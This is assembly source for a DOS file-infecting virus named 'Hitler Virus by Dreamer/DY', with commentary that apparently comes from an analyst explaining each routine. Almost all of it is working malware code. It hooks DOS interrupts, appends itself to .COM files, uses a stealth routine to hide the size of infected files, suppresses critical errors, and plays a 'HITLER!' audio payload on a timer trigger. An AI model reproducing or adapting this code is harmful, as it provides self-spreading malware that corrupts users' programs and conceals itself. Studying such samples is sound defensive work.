call rakett ; recalculate offset old db 'Í !­' ; virus identification marker rakett: pop bp push bp add bp,-103h mov ax,42ABh ; check if virus installed int 21h jnc failed ; exit if here cli mov ax,3521h int 21h ; get interrupt vector mov w [bp+offset old21],bx ; es:bx points to mov w [bp+offset old21+2],es ; interrupt handler mov al,1Ch int 21h cli mov w [bp+offset old1C],bx ; access timer tick int. mov w [bp+offset old1C+2],es mov w [bp+offset teller],16380 ; stuff our value into sti ; "teller" buffer for ; later call normalspeed ; eh? push es pop ds mov ax,2521h mov dx,offset ni21 ; set int 21 route through virus int 21h mov al,1Ch mov dx,offset ni1C ; revector timer tick through int 21h ; virus ret ; exit to host findFCB: popf call int21 ; look to virus "stealth" pushf ; routine, now that int 21 or al,al ; comes through virus jnz backFCB call stealth backFCB: popf iret stealth: push ax ; the following essentially massages the push bx ; file control block on directory scans, push dx ; subtracting the virus size from infected push es ; files before the user sees 'em mov ah,2Fh ; get disk transfer address call int21 ; cmp byte es:[bx],0FFh ; failed? jne normFCB ; no, everything still OK add bx,8 normFCB: mov al,byte es:[bx+16h] ; retrieve seconds attribute and al,31 ; from observed file, if it's xor al,31 ; 31, the file is infected jnz shitFCB ; not 31 - file not infected mov ax,word es:[bx+1Ch] mov dx,word es:[bx+1Ch+2] sub ax,size ; subtract virus length from sbb dx,0 ; infected file jc shitFCB ; no files? exit mov word es:[bx+1Ch],ax mov word es:[bx+1Ch+2],dx shitFCB: ; restore everything as normal ni21: pushf cmp ah,11h ; any user access of the file control je findFCB ; block must come through virus cmp ah,12h ; ditto for here je findFCB not_42AB: cmp ax,4B00h ; is a program being loaded? jne not_4B00 ; exit if not call install_24 ; install critical error handler push ax push bx push cx push dx push ds push bp mov ax,4300h ; get file attributes of potential host call int21 jc back1 ; failed? exit mov cs:old_attr,cx ; stash attributes here test cl,4 ; is the potential host a system file? jnz back1 ; yes? so exit mov ax,4301h ; set new file attributes, read or write xor cx,cx call int21 jc back1 ; error? exit push dx push ds call infect ; begin infection stuff pop ds pop dx back1: ;go here if the attrib-get fails pop bp pop ds pop dx pop cx pop bx pop ax call remove_24 ; normalize critical error handler call dword ptr cs:old21 ret infect: mov ax,3D02h ; open host file with read/write access call int21 jnc okay_open bad1: ret ; was there an error? exit okay_open: xchg bx,ax mov ax,5700h ; get file date and file time call int21 push cx mov bp,sp push dx mov ah,3Fh ; read first five bytes from potential host mov cx,5 mov dx,offset old ; store them here push cs pop ds call int21 jc close ; error, exit? cmp al,5 ; get the five bytes? jne close ; no, so exit cmp word old[0],'MZ' ; is this an .EXE file? je close ; yes, so go away cmp word old[0],'ZM' ; double-check, is this an .EXE file? je close ; yes, so go away cmp old[0],0E9h ; does it start with a jump? jne infect1 ; no - infect! cmp word old[3],'­!' ; does it start with the HITLER virus jne infect1 ; marker? If no, infect! ; (Boy, this fellow is careful!) close: pop dx pop cx mov ax,5701h ; reset file date and time call int21 mov ah,3Eh ; close file call int21 ret infect1: mov ax,4202h ; reset pointer to end of file xor cx,cx xor dx,dx call int21 or dx,dx jnz close cmp ax,59000 ; compare .COMfile size to 59,000 bytes jae close ; greater than or equal? close file ; HITLER is a big virus, so we don't want to dec ax ; exceed the DOS execution boundary for .COM dec ax ; files dec ax mov word ptr putjmp[1],ax mov ah,40h ; write HITLER to the target file mov cx,size ; length in CX mov dx,100h call int21 jc close cmp ax,size ; again, we're being real careful jne close ; not to infect ourself mov ax,4200h ; set file pointer to beginning of host xor cx,cx xor dx,dx call int21 mov ah,40h ; write the first five bytes of the mov cx,5 ; viral jump and ID strings to the mov dx,offset putjmp ; beginning of the host file call int21 or byte ss:[bp],31 ; set the seconds field to 31, so the ; "stealth" routine has its cue jmp close ; close the file and clean up putjmp db 0E9h dw 0 db '!­' install_24: pushf ; installation of critical error cli ; handler (no shit, Sherlock!) push bx push ds xor bx,bx mov ds,bx push ds lds bx,[24h*4] mov cs:old24[0],bx mov cs:old24[2],ds pop ds mov word [(24h*4)],offset ni24 mov [(24h*4)+2],cs pop ds pop bx sti popf ret remove_24: pushf ; remove it cli push bx push es push ds xor bx,bx mov ds,bx les bx,cs:old24[0] mov [(24h*4)],bx mov [(24h*4)+2],es pop ds pop es pop bx sti popf ret errflag db 0 db 'Hitler Virus by Dreamer/DY',0 ; ID note by Dreamer of Demoralized ; Youth ni24: mov al,3 mov cs:errflag,1 iret old24 dw 0,0 xofs dw offset sample len equ 4131 divisor equ 230 teller dw 16380 ; "new" timer tick values for viral ; trigger ni1C: cli pushf push ax push ds push si push cs pop ds ; -lobotomize code from here to marker to get HITLER at start cmp teller,0 ; compare 0 with the value the virus je teller_ok ; stuffed into the timer tick interrupt dec teller ; if equal - do "HITLER!" thing, if not jmp noreset ; decrement the value ; -bottom of lobotomy marker teller_ok: ; sound routine to the IBM internal speaker mov al,34h db 0E6h,43h ;out 43h,al mov al,divisor db 0E6h,40h ;out 40h,al mov al,0 db 0E6h,40h ;out 40h,al mov al,090h db 0E6h,43h ;out 43h,al mov si,xofs lodsb db 0E6h,42h ;out 42h,al db 0E4h,61h ;in al,61h or al,3 db 0E6h,61h ;out al,61h inc xofs cmp xofs,len+offset sample ; points to the huge table at jb noreset ; the end of the virus, a mov xofs,offset sample ; .VOC sample of some nut noreset: ; shouting "HITLER!" sti pop si pop ds pop ax popf db 0EAh old1C dw 0,0 normalspeed: cli push ax mov al,34h db 0E6h,43h mov al,0 db 0E6h,40h db 0E6h,40h pop ax sti ret sample db 080h,080h,080h,080h,080h,081h,080h,081h,081h,081h,081h,081h,083h db 083h,083h,083h,083h,083h,083h,083h,083h,083h,081h,081h,081h,081h db 080h,080h,080h,080h,080h,080h,080h,080h,080h,080h,065h,000h,000h db 075h,08Ah,084h,083h,083h,089h,081h,081h,081h,07Ah,079h,07Ch,07Ah db 07Bh,07Ch,07Fh,07Ah,078h,079h,07Fh,07Bh,07Fh,07Dh,07Bh,07Ah,07Fh db 083h,08Ah,08Ch,088h,08Ah,085h,083h,089h,08Bh,080h,082h,07Fh,081h db 07Fh,082h,081h,08Bh,07Ah,074h,07Ch,07Eh,080h,07Fh,07Fh,083h,07Fh db 084h,082h,083h,080h,083h,081h,07Dh,07Eh,080h,083h,083h,07Dh,079h db 07Fh,084h,080h,07Bh,07Dh,07Fh,07Fh,07Ch,07Ah,07Dh,083h,081h,07Fh db 082h,080h,07Bh,07Fh,08Ah,08Bh,086h,085h,086h,083h,089h,089h,086h db 084h,07Dh,07Ch,07Eh,085h,086h,085h,086h,083h,081h,088h,087h,080h db 07Dh,081h,083h,081h,080h,07Ch,07Eh,076h,075h,07Bh,07Ah,075h,072h db 075h,06Fh,074h,07Eh,080h,07Fh,07Fh,07Fh,083h,087h,085h,084h,08Ah db 08Bh,086h,087h,08Ah,08Ah,08Ah,081h,081h,089h,084h,081h,07Ch,086h db 083h,084h,082h,07Fh,082h,07Fh,087h,086h,082h,080h,076h,07Ch,07Bh db 07Dh,077h,078h,06Eh,07Fh,07Ah,07Dh,07Eh,074h,083h,079h,088h,07Ah db 05Dh,074h,0CFh,038h,000h,023h,079h,09Bh,0DEh,091h,0AFh,0FFh,05Ch